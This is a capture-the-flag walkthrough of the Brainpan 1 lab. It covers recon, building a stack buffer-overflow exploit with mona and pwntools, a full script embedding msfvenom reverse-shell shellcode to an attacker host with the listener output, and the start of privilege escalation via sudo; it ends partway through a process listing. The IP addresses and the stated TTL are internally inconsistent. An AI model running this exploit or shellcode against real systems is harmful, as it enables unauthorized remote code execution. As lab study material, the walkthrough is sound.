Brainpan 1

In this machine we practice the most typical BoF (buffer overflow), the kind that usually shows up in certifications like the eCPPT or the old OSCP
February 9, 202413 minutes
Reconnaissance
First of all, we check whether the machine is up and which OS it runs
> ping -c 1 192.168.1.139
PING 192.168.1.139 (192.168.1.139) 56(84) bytes of data.
64 bytes from 192.168.1.139: icmp_seq=1 ttl=64 time=0.240 ms
--- 192.168.1.139 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 0.240/0.240/0.240/0.000 ms
We have connectivity, and in this case it returns a TTL (time to live) of 127, knowing that ttl=64: Linux / ttl=128: Windows. This machine is Linux
Port scan
Now we start with a port scan
$ sudo nmap -p- --open -sS --min-rate 5000 -vvv -Pn -n 192.168.1.139 -oG allPorts
Parameter explanation
| Parameter | Purpose |
|---|---|
| -p- | Scan all ports (65536) |
| –open | Only report open ports |
| –min-rate 5000 | Set the scan speed |
| -n | Skip DNS resolution |
| -vvv | Print findings to the console as they come |
| -Pn | Skip checking whether the host is up |
| -oG allPorts | Save the scan in grepable format to a file called allPorts |
With a function defined in .zshrc called extractPorts, we get the open ports in a more visual way
extractPorts function by @s4vitar
> extractPorts allPorts
───────┬───────────────────────────────────────────────────────────────────────────────────────────────────────
│ File: extractPorts.tmp
───────┼───────────────────────────────────────────────────────────────────────────────────────────────────────
1 │
2 │ [*] Extracting information...
3 │
4 │ [*] IP Address: 192.168.1.139
5 │ [*] Open ports: 9999,10000
6 │
7 │ [*] Ports copied to clipboard
8 │
───────┴───────────────────────────────────────────────────────────────────────────────────────────────────────
Now, with nmap, we try to find the versions of the services running on those ports and run nmap’s basic reconnaissance scripts
> sudo nmap -p9999,10000 -sCV 192.168.1.139 -oN versions
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-02-04 18:42 CET
Nmap scan report for 192.168.1.139
Host is up (0.00053s latency).
PORT STATE SERVICE VERSION
9999/tcp open abyss?
| fingerprint-strings:
| NULL:
| _| _|
| _|_|_| _| _|_| _|_|_| _|_|_| _|_|_| _|_|_| _|_|_|
| _|_| _| _| _| _| _| _| _| _| _| _| _|
| _|_|_| _| _|_|_| _| _| _| _|_|_| _|_|_| _| _|
| [________________________ WELCOME TO BRAINPAN _________________________]
|_ ENTER THE PASSWORD
10000/tcp open http SimpleHTTPServer 0.6 (Python 2.7.3)
|_http-server-header: SimpleHTTP/0.6 Python/2.7.3
|_http-title: Site doesn't have a title (text/html).
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port9999-TCP:V=7.94SVN%I=7%D=2/4%Time=65BFCC92%P=x86_64-pc-linux-gnu%r(
SF:NULL,298,"_\|\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x
SF:20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20_\|\x20\x20\x20\x
SF:20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
SF:x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20
SF:\x20\n_\|_\|_\|\x20\x20\x20\x20_\|\x20\x20_\|_\|\x20\x20\x20\x20_\|_\|_
SF:\|\x20\x20\x20\x20\x20\x20_\|_\|_\|\x20\x20\x20\x20_\|_\|_\|\x20\x20\x2
SF:0\x20\x20\x20_\|_\|_\|\x20\x20_\|_\|_\|\x20\x20\n_\|\x20\x20\x20\x20_\|
SF:\x20\x20_\|_\|\x20\x20\x20\x20\x20\x20_\|\x20\x20\x20\x20_\|\x20\x20_\|
SF:\x20\x20_\|\x20\x20\x20\x20_\|\x20\x20_\|\x20\x20\x20\x20_\|\x20\x20_\|
SF:\x20\x20\x20\x20_\|\x20\x20_\|\x20\x20\x20\x20_\|\n_\|\x20\x20\x20\x20_
SF:\|\x20\x20_\|\x20\x20\x20\x20\x20\x20\x20\x20_\|\x20\x20\x20\x20_\|\x20
SF:\x20_\|\x20\x20_\|\x20\x20\x20\x20_\|\x20\x20_\|\x20\x20\x20\x20_\|\x20
SF:\x20_\|\x20\x20\x20\x20_\|\x20\x20_\|\x20\x20\x20\x20_\|\n_\|_\|_\|\x20
SF:\x20\x20\x20_\|\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20_\|_\|_\|\x20\x2
SF:0_\|\x20\x20_\|\x20\x20\x20\x20_\|\x20\x20_\|_\|_\|\x20\x20\x20\x20\x20
SF:\x20_\|_\|_\|\x20\x20_\|\x20\x20\x20\x20_\|\n\x20\x20\x20\x20\x20\x20\x
SF:20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
SF:x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20
SF:\x20\x20_\|\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20
SF:\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\n\x20\x20\x20\x20\x20\x20\
SF:x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20
SF:\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x2
SF:0\x20\x20_\|\n\n\[________________________\x20WELCOME\x20TO\x20BRAINPAN
SF:\x20_________________________\]\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x
SF:20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20ENTER
SF:\x20THE\x20PASSWORD\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20
SF:\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\n\
SF:n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x
SF:20\x20\x20\x20\x20\x20\x20\x20\x20>>\x20");
MAC Address: 08:00:27:C3:40:1B (Oracle VirtualBox virtual NIC)
Parameter explanation
| Parameter | Purpose |
|---|---|
| -p | The open ports found in the previous scan |
| -sC | Run basic reconnaissance scripts |
| -sV | Report the version and details of the services running on the ports |
Port 10000
nmap reported a SimpleHTTPServer version 0.6 (Python 2.7.3) on port 10000. We could also have seen this with whatweb
$ whatweb 192.168.1.139:10000
http://192.168.1.139:10000 [200 OK] Country[RESERVED][ZZ], HTTPServer[SimpleHTTP/0.6 Python/2.7.3], IP[192.168.1.139], Python[2.7.3]
When we open the website, we see a simple page with nothing remarkable. At this point we could try fuzzing to enumerate files or directories on the web server. For this we’ll use wfuzz
> wfuzz -c -t 20 --hc=404 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt http://192.168.1.139:10000/FUZZ
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000000483: 301 0 L 0 W 0 Ch "bin"
Parameter explanation
- -c: Colored output
- -t: Number of concurrent threads
- –hc=404: Hide responses with a 404 status code, meaning we don’t want it to report pages that don’t exist
- -w: Wordlist
- FUZZ: Where the wordlist entries will be tried
It found a directory called bin with a file called brainpan.exe inside, so we’ll download it
$ wget 192.168.1.139:10000/bin/brainpan.exe
2024-02-04 18:57:28 (44.7 MB/s) - ‘brainpan.exe’ saved [21190/21190]
We’ll copy this binary to a Windows 7 machine (32-bit in my case) through a Python server started on the attacker machine with python3 -m http.server 80. Now, if we enter our IP in the Windows 7 browser, we can download the file.
Port 9999
When we run brainpan.exe on the Windows machine, a terminal opens saying “bind done on port 9999 waitin for connextions”. As it happens, it’s the same port that was open on the target machine.
If we connect with netcat to port 9999 on the Windows machine, and then connect to port 9999 on the target machine, we see the message is the same.
> nc 192.168.1.141 9999 #Windows 7
_| _|
_|_|_| _| _|_| _|_|_| _|_|_| _|_|_| _|_|_| _|_|_|
_| _| _|_| _| _| _| _| _| _| _| _| _| _| _|
_| _| _| _| _| _| _| _| _| _| _| _| _| _|
_|_|_| _| _|_|_| _| _| _| _|_|_| _|_|_| _| _|
_|
_|
[________________________ WELCOME TO BRAINPAN _________________________]
ENTER THE PASSWORD
>>
> nc 192.168.1.139 9999 #Víctima
_| _|
_|_|_| _| _|_| _|_|_| _|_|_| _|_|_| _|_|_| _|_|_|
_| _| _|_| _| _| _| _| _| _| _| _| _| _| _|
_| _| _| _| _| _| _| _| _| _| _| _| _| _|
_|_|_| _| _|_|_| _| _| _| _|_|_| _|_|_| _| _|
_|
_|
[________________________ WELCOME TO BRAINPAN _________________________]
ENTER THE PASSWORD
>>
From this we conclude that brainpan.exe is the same program running on the target machine
Buffer Overflow
To analyze the binary we’ll use Immunity Debugger with mona.
First we import the file into Immunity Debugger. Once imported, we run it from Immunity Debugger.
During the exploitation we’ll build a Python script to speed everything up…
from pwn import *
offset = 1000
junk = b"A" * offset
payload = junk
host, port = "192.168.1.141", 9999
r = remote(host, port)
r.sendline(payload)
What we’ll do with this is send 1000 “A"s to the program running on port 9999 of the Windows machine.
After running the script, we can see in Immunity Debugger that EIP is now 41414141, which is AAAA. This means that if we send a very long input we can overwrite EIP
EIP: (Extended Instruction Pointer) is a register that stores the address of the next instruction to be executed in a program.
Calculating the offset
Now we’ll find out how many “A"s we need to send to reach EIP. To find this number, called the offset, we’ll use a string designed for this purpose.
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 1800
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5...
This command has generated a 1800-character string, which we’ll add to the script.
from pwn import *
junk = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8>
payload = junk
host, port = "192.168.1.141", 9999
r = remote(host, port)
r.sendline(payload)
We run the script, and Immunity Debugger shows that EIP is 35724134.
With the following command we calculate the offset automatically
$ /usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l 1800 -q 35724134
[*] Exact match at offset 524
Finding badchars
Once we control EIP, we’ll check for badchars.
Badchars are basically characters that can cause problems when running shellcode. A typical badchar is \x00 (null byte), which is usually excluded right away because it causes lots of problems.
We could check for badchars manually, but we’ll use mona to automate it. First we need to set the working directory, which in my case will be C:\Users\arnau\Desktop\bof
!mona config -set workingfolder C:\Users\arnau\Desktop\bof
Then we’ll create a file with all the bytes except the null byte (\x00) and save it in the working directory.
!mona bytearray -b "\x00"
Now the file C:\Users\arnau\Desktop\bof\bytearray.txt contains all the bytes.
================================================================================
Output generated by mona.py v2.0, rev 635 - Immunity Debugger
Corelan Consulting bv - https://www.corelan.be
================================================================================
OS : 7, release 6.1.7601
Process being debugged : brainpan (pid 2272)
Current mona arguments: bytearray -b "\x00"
================================================================================
2024-02-05 19:12:33
================================================================================
"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20"
"\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60"
"\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80"
"\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0"
"\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0"
"\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0"
"\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"
We’ll put all these bytes in the Python script so they go after EIP; for now we’ll set EIP to “42424242” (BBBB). It looks like this:
from pwn import *
offset = 524
junk = b"A" * offset
eip = b"B" * 4
after_eip = (b"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20"
b"\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
b"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60"
b"\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80"
b"\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0"
b"\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0"
b"\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0"
b"\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"
)
payload = junk + eip + after_eip
host, port = "192.168.88.12", 9999
r = remote(host, port)
r.sendline(payload)
Now, if we right-click on ESP at the top right > Follow in Dump, we can see where the bytes we placed after EIP start, and on the left we can see the memory address where the badchar test bytes begin

0022F918 41414141 AAAA
0022F91C 41414141 AAAA
0022F920 41414141 AAAA
0022F924 41414141 AAAA
0022F928 41414141 AAAA
0022F92C 42424242 BBBB
0022F930 04030201
0022F934 08070605
0022F938 0C0B0A09 ...
0022F93C 100F0E0D .
0022F940 14131211
0022F944 18171615
0022F948 1C1B1A19
0022F94C 201F1E1D
0022F950 24232221 !"#$
0022F954 28272625 %&'(
0022F958 2C2B2A29 )*+,
0022F95C 302F2E2D -./0
0022F960 34333231 1234
We can look for bytes that aren’t displayed correctly, or use the following mona command
!mona compare -f C:\Users\arnau\Desktop\bof\bytearray.bin -a 0022F930
0BADF00D [+] Fetched 255 bytes successfully from C:\Users\arnau\Desktop\bof\bytearray.bin
0BADF00D - Comparing 1 location(s)
0BADF00D Comparing bytes from file with memory :
0022F930 [+] Comparing with memory at location : 0x0022f930 (Stack)
0022F930 !!! Hooray, normal shellcode unmodified !!!
0022F930 Bytes omitted from input: 00
After running the command, a small window opens showing the badchars found; in this case it didn’t find any. So when creating the shellcode we’ll simply exclude \x00
Protections
With the following command we can see the binary’s protections
!mona modules
0BADF00D ----------------------------------------------------------------------------------------------------------------------------------------------
0BADF00D Module info :
0BADF00D ----------------------------------------------------------------------------------------------------------------------------------------------
0BADF00D Base | Top | Size | Rebase | SafeSEH | ASLR | CFG | NXCompat | OS Dll | Version, Modulename & Path, DLLCharacteristics
0BADF00D ----------------------------------------------------------------------------------------------------------------------------------------------
....
0BADF00D 0x76df0000 | 0x76ec4000 | 0x000d4000 | True | True | True | False | True | True | 6.1.7600.16385 [kernel32.dll] (C:\Windows\system32\kernel32.dll) 0x140
0BADF00D 0x31170000 | 0x31176000 | 0x00006000 | False | False | False | False | False | False | -1.0- [brainpan.exe] (C:\Users\arnau\Downloads\brainpan.exe) 0x0
0BADF00D 0x76960000 | 0x76a0c000 | 0x000ac000 | True | True | True | False | True | True | 7.0.7600.16385 [msvcrt.dll] (C:\Windows\system32\msvcrt.dll) 0x140
....
0BADF00D -----------------------------------------------------------------------------------------------------------------------------------------
In the brainpan.exe row everything is false.
JMP ESP
Now we need to find the address of a JMP ESP. To find it, we need the JMP ESP opcode
> /usr/share/metasploit-framework/tools/exploit/nasm_shell.rb
nasm > jmp ESP
00000000 FFE4 jmp esp
nasm >
The JMP ESP opcode is FFE4. Knowing this, we can search for the address of a JMP ESP with mona
!mona find -s "\xFF\xE4" -m brainpan.exe
712F3 0x311712f3 : "\xFF\xE4" | {PAGE_EXECUTE_READ} [brainpan.exe] ASLR: False, Rebase: False, SafeSEH: False, CFG: False, OS: False, v-1.0- (C:\Users\arnau\Downloads\brainpan.exe), 0x0
The JMP ESP address is: 0x311712f3
Shellcode
Finally, we’ll build the shellcode that will send a reverse shell to our attacker machine. To create the shellcode we’ll use msfvenom like this:
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.88.5 LPORT=443 --platform windows -a x86 -e x86/shikata_ga_nai -f py -b "\x00" EXITFUNC=thread
buf = b""
buf += b"\xba\x0c\xa9\x71\x87\xdb\xde\xd9\x74\x24\xf4\x5d"
buf += b"\x33\xc9\xb1\x52\x31\x55\x12\x83\xc5\x04\x03\x59"
buf += b"\xa7\x93\x72\x9d\x5f\xd1\x7d\x5d\xa0\xb6\xf4\xb8"
buf += b"\x91\xf6\x63\xc9\x82\xc6\xe0\x9f\x2e\xac\xa5\x0b"
buf += b"\xa4\xc0\x61\x3c\x0d\x6e\x54\x73\x8e\xc3\xa4\x12"
buf += b"\x0c\x1e\xf9\xf4\x2d\xd1\x0c\xf5\x6a\x0c\xfc\xa7"
buf += b"\x23\x5a\x53\x57\x47\x16\x68\xdc\x1b\xb6\xe8\x01"
buf += b"\xeb\xb9\xd9\x94\x67\xe0\xf9\x17\xab\x98\xb3\x0f"
buf += b"\xa8\xa5\x0a\xa4\x1a\x51\x8d\x6c\x53\x9a\x22\x51"
buf += b"\x5b\x69\x3a\x96\x5c\x92\x49\xee\x9e\x2f\x4a\x35"
buf += b"\xdc\xeb\xdf\xad\x46\x7f\x47\x09\x76\xac\x1e\xda"
buf += b"\x74\x19\x54\x84\x98\x9c\xb9\xbf\xa5\x15\x3c\x6f"
buf += b"\x2c\x6d\x1b\xab\x74\x35\x02\xea\xd0\x98\x3b\xec"
buf += b"\xba\x45\x9e\x67\x56\x91\x93\x2a\x3f\x56\x9e\xd4"
buf += b"\xbf\xf0\xa9\xa7\x8d\x5f\x02\x2f\xbe\x28\x8c\xa8"
buf += b"\xc1\x02\x68\x26\x3c\xad\x89\x6f\xfb\xf9\xd9\x07"
buf += b"\x2a\x82\xb1\xd7\xd3\x57\x15\x87\x7b\x08\xd6\x77"
buf += b"\x3c\xf8\xbe\x9d\xb3\x27\xde\x9e\x19\x40\x75\x65"
buf += b"\xca\xaf\x22\x3d\x0f\x58\x31\xbd\x0e\x23\xbc\x5b"
buf += b"\x7a\x43\xe9\xf4\x13\xfa\xb0\x8e\x82\x03\x6f\xeb"
buf += b"\x85\x88\x9c\x0c\x4b\x79\xe8\x1e\x3c\x89\xa7\x7c"
buf += b"\xeb\x96\x1d\xe8\x77\x04\xfa\xe8\xfe\x35\x55\xbf"
buf += b"\x57\x8b\xac\x55\x4a\xb2\x06\x4b\x97\x22\x60\xcf"
buf += b"\x4c\x97\x6f\xce\x01\xa3\x4b\xc0\xdf\x2c\xd0\xb4"
buf += b"\x8f\x7a\x8e\x62\x76\xd5\x60\xdc\x20\x8a\x2a\x88"
buf += b"\xb5\xe0\xec\xce\xb9\x2c\x9b\x2e\x0b\x99\xda\x51"
buf += b"\xa4\x4d\xeb\x2a\xd8\xed\x14\xe1\x58\x0d\xf7\x23"
buf += b"\x95\xa6\xae\xa6\x14\xab\x50\x1d\x5a\xd2\xd2\x97"
buf += b"\x23\x21\xca\xd2\x26\x6d\x4c\x0f\x5b\xfe\x39\x2f"
buf += b"\xc8\xff\x6b"
All that’s left is to put everything together in the script
from pwn import *
from struct import pack
offset = 524
junk = b"A" * offset
eip = pack("<I", 0x311712f3)
buf = b""
buf += b"\xba\x0c\xa9\x71\x87\xdb\xde\xd9\x74\x24\xf4\x5d"
buf += b"\x33\xc9\xb1\x52\x31\x55\x12\x83\xc5\x04\x03\x59"
buf += b"\xa7\x93\x72\x9d\x5f\xd1\x7d\x5d\xa0\xb6\xf4\xb8"
buf += b"\x91\xf6\x63\xc9\x82\xc6\xe0\x9f\x2e\xac\xa5\x0b"
buf += b"\xa4\xc0\x61\x3c\x0d\x6e\x54\x73\x8e\xc3\xa4\x12"
buf += b"\x0c\x1e\xf9\xf4\x2d\xd1\x0c\xf5\x6a\x0c\xfc\xa7"
buf += b"\x23\x5a\x53\x57\x47\x16\x68\xdc\x1b\xb6\xe8\x01"
buf += b"\xeb\xb9\xd9\x94\x67\xe0\xf9\x17\xab\x98\xb3\x0f"
buf += b"\xa8\xa5\x0a\xa4\x1a\x51\x8d\x6c\x53\x9a\x22\x51"
buf += b"\x5b\x69\x3a\x96\x5c\x92\x49\xee\x9e\x2f\x4a\x35"
buf += b"\xdc\xeb\xdf\xad\x46\x7f\x47\x09\x76\xac\x1e\xda"
buf += b"\x74\x19\x54\x84\x98\x9c\xb9\xbf\xa5\x15\x3c\x6f"
buf += b"\x2c\x6d\x1b\xab\x74\x35\x02\xea\xd0\x98\x3b\xec"
buf += b"\xba\x45\x9e\x67\x56\x91\x93\x2a\x3f\x56\x9e\xd4"
buf += b"\xbf\xf0\xa9\xa7\x8d\x5f\x02\x2f\xbe\x28\x8c\xa8"
buf += b"\xc1\x02\x68\x26\x3c\xad\x89\x6f\xfb\xf9\xd9\x07"
buf += b"\x2a\x82\xb1\xd7\xd3\x57\x15\x87\x7b\x08\xd6\x77"
buf += b"\x3c\xf8\xbe\x9d\xb3\x27\xde\x9e\x19\x40\x75\x65"
buf += b"\xca\xaf\x22\x3d\x0f\x58\x31\xbd\x0e\x23\xbc\x5b"
buf += b"\x7a\x43\xe9\xf4\x13\xfa\xb0\x8e\x82\x03\x6f\xeb"
buf += b"\x85\x88\x9c\x0c\x4b\x79\xe8\x1e\x3c\x89\xa7\x7c"
buf += b"\xeb\x96\x1d\xe8\x77\x04\xfa\xe8\xfe\x35\x55\xbf"
buf += b"\x57\x8b\xac\x55\x4a\xb2\x06\x4b\x97\x22\x60\xcf"
buf += b"\x4c\x97\x6f\xce\x01\xa3\x4b\xc0\xdf\x2c\xd0\xb4"
buf += b"\x8f\x7a\x8e\x62\x76\xd5\x60\xdc\x20\x8a\x2a\x88"
buf += b"\xb5\xe0\xec\xce\xb9\x2c\x9b\x2e\x0b\x99\xda\x51"
buf += b"\xa4\x4d\xeb\x2a\xd8\xed\x14\xe1\x58\x0d\xf7\x23"
buf += b"\x95\xa6\xae\xa6\x14\xab\x50\x1d\x5a\xd2\xd2\x97"
buf += b"\x23\x21\xca\xd2\x26\x6d\x4c\x0f\x5b\xfe\x39\x2f"
buf += b"\xc8\xff\x6b"
payload = junk + eip + b"\x90" * 16 + buf
host, port = "192.168.88.12", 9999
r = remote(host, port)
r.sendline(payload)
Going over the script:
First we define the offset, which is the number of characters we send to reach EIP. In EIP we put the JMP ESP address so it jumps to ESP. After EIP we put “\x90” 16 times, and finally the shellcode.
Why do we put \x90 before the shellcode?
Memory can shift a bit during program execution, so we don’t know exactly at which address in the buffer the shellcode will start. The NOP sled is a way to deal with this.
A NOP sled is a sequence of NOP (no operation) instructions meant to “slide” the CPU’s instruction execution flow to the next memory address. Wherever the return address lands in the NOP sled, execution will slide along the buffer until it reaches the start of the shellcode
All that’s left is to start listening and run the script!
> rlwrap nc -nlvp 443
listening on [any] 443 ...
connect to [192.168.88.5] from (UNKNOWN) [192.168.88.12] 49190
Microsoft Windows [Versi�n 6.1.7601]
Copyright (c) 2009 Microsoft Corporation. Reservados todos los derechos.
Privilege escalation
Inside puck’s home directory we see this file
#!/bin/bash
# run brainpan.exe if it stops
lsof -i:9999
if [[ $? -eq 1 ]]; then
pid=`ps aux | grep brainpan.exe | grep -v grep`
if [[ ! -z $pid ]]; then
kill -9 $pid
killall wineserver
killall winedevice.exe
fi
/usr/bin/wine /home/puck/web/bin/brainpan.exe &
fi
# run SimpleHTTPServer if it stops
lsof -i:10000
if [[ $? -eq 1 ]]; then
pid=`ps aux | grep SimpleHTTPServer | grep -v grep`
if [[ ! -z $pid ]]; then
kill -9 $pid
fi
cd /home/puck/web
/usr/bin/python -m SimpleHTTPServer 10000
fi
This is a bash script, which means this is actually Linux, so we’ll switch to a Linux payload.
> msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.88.5 LPORT=443 -b "\x00" -f py shellcode
buf = b""
buf += b"\xda\xdb\xbf\x5f\xa4\xa1\x30\xd9\x74\x24\xf4\x5a"
buf += b"\x29\xc9\xb1\x12\x31\x7a\x17\x03\x7a\x17\x83\xb5"
buf += b"\x58\x43\xc5\x78\x7a\x73\xc5\x29\x3f\x2f\x60\xcf"
buf += b"\x36\x2e\xc4\xa9\x85\x31\xb6\x6c\xa6\x0d\x74\x0e"
buf += b"\x8f\x08\x7f\x66\xd0\x43\x27\x73\xb8\x91\xd8\x7a"
buf += b"\x83\x1f\x39\xcc\x95\x4f\xeb\x7f\xe9\x73\x82\x9e"
buf += b"\xc0\xf4\xc6\x08\xb5\xdb\x95\xa0\x21\x0b\x75\x52"
buf += b"\xdb\xda\x6a\xc0\x48\x54\x8d\x54\x65\xab\xce"
Now, once in, with sudo -l we see that we can run /home/anansi/bin/anansi_util as root without a password.
puck@brainpan:/home/puck$ sudo -l
Matching Defaults entries for puck on this host:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User puck may run the following commands on this host:
(root) NOPASSWD: /home/anansi/bin/anansi_util
This script has 3 options
puck@brainpan:/home/puck$ sudo /home/anansi/bin/anansi_util
Usage: /home/anansi/bin/anansi_util [action]
Where [action] is one of:
- network
- proclist
- manual [command]
- Network
Runs ifconfig
puck@brainpan:/home/puck$ sudo /home/anansi/bin/anansi_util network
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 16436 qdisc noqueue state UNKNOWN
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
inet6 ::1/128 scope host
valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UNKNOWN qlen 1000
link/ether 08:00:27:c3:40:1b brd ff:ff:ff:ff:ff:ff
inet 192.168.88.10/24 brd 192.168.88.255 scope global eth0
inet6 fe80::a00:27ff:fec3:401b/64 scope link
valid_lft forever preferred_lft forever
- Proclist
puck@brainpan:/home/puck$ sudo /home/anansi/bin/anansi_util proclist
top - 10:15:24 up 15 min, 0 users, load average: 0.00, 0.00, 0.00
Tasks: 77 total, 1 running, 76 sleeping, 0 stopped, 0 zombie
%Cpu(s): 0.0 us, 0.1 sy, 0.0 ni, 99.9 id, 0.0 wa, 0.0 hi, 0.0 si, 0.0 st
KiB Mem: 248936 total, 136380 used, 112556 free, 25352 buffers
KiB Swap: 520188 total, 0 used, 520188 free, 77192 cached
PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND
1 root 20 0 3492 1860 1280 S 0.0 0.7 0:00.24 init
2 root 20 0 0 0 0 S 0.0 0.0 0:00.00 kthreadd
3 root 20 0 0 0 0 S 0.0 0.0 0:00.03 ksoftirqd/0
4 root 20 0 0 0 0 S 0.0 0.0 0:00.00 kworker/0:0
6 root rt 0 0 0 0 S 0.0 0.0 0:00.00 migration/0
7 root rt 0 0 0 0 S 0.0 0.0 0:00.00 watchdog/0
8 root 0 -20 0 0 0 S 0.0 0.0 0:00.00 cpuset
9 root 0 -20 0 0 0 S 0.0 0.0 0:00.00 khelper
10 root 20 0 0 0 0 S 0.0 0.0 0:00.00 kdevtmpfs
11 root 0 -20 0 0 0 S 0.0 0.0 0:00.00 netns
12 root 20 0 0 0 0 S 0.0 0.0 0:00.00 sync_supers
13 root 20 0 0 0 0 S 0.0 0.0 0:00.00 bdi-default
14 root 0 -20 0 0 0 S 0.0 0.0 0:00.00 kintegrityd
15 root 0 -20 0 0 0 S 0.0 0.0 0:00.00 kblockd
16 root 0 -20 0 0 0 S 0.0 0.0 0:00.00 ata_sff
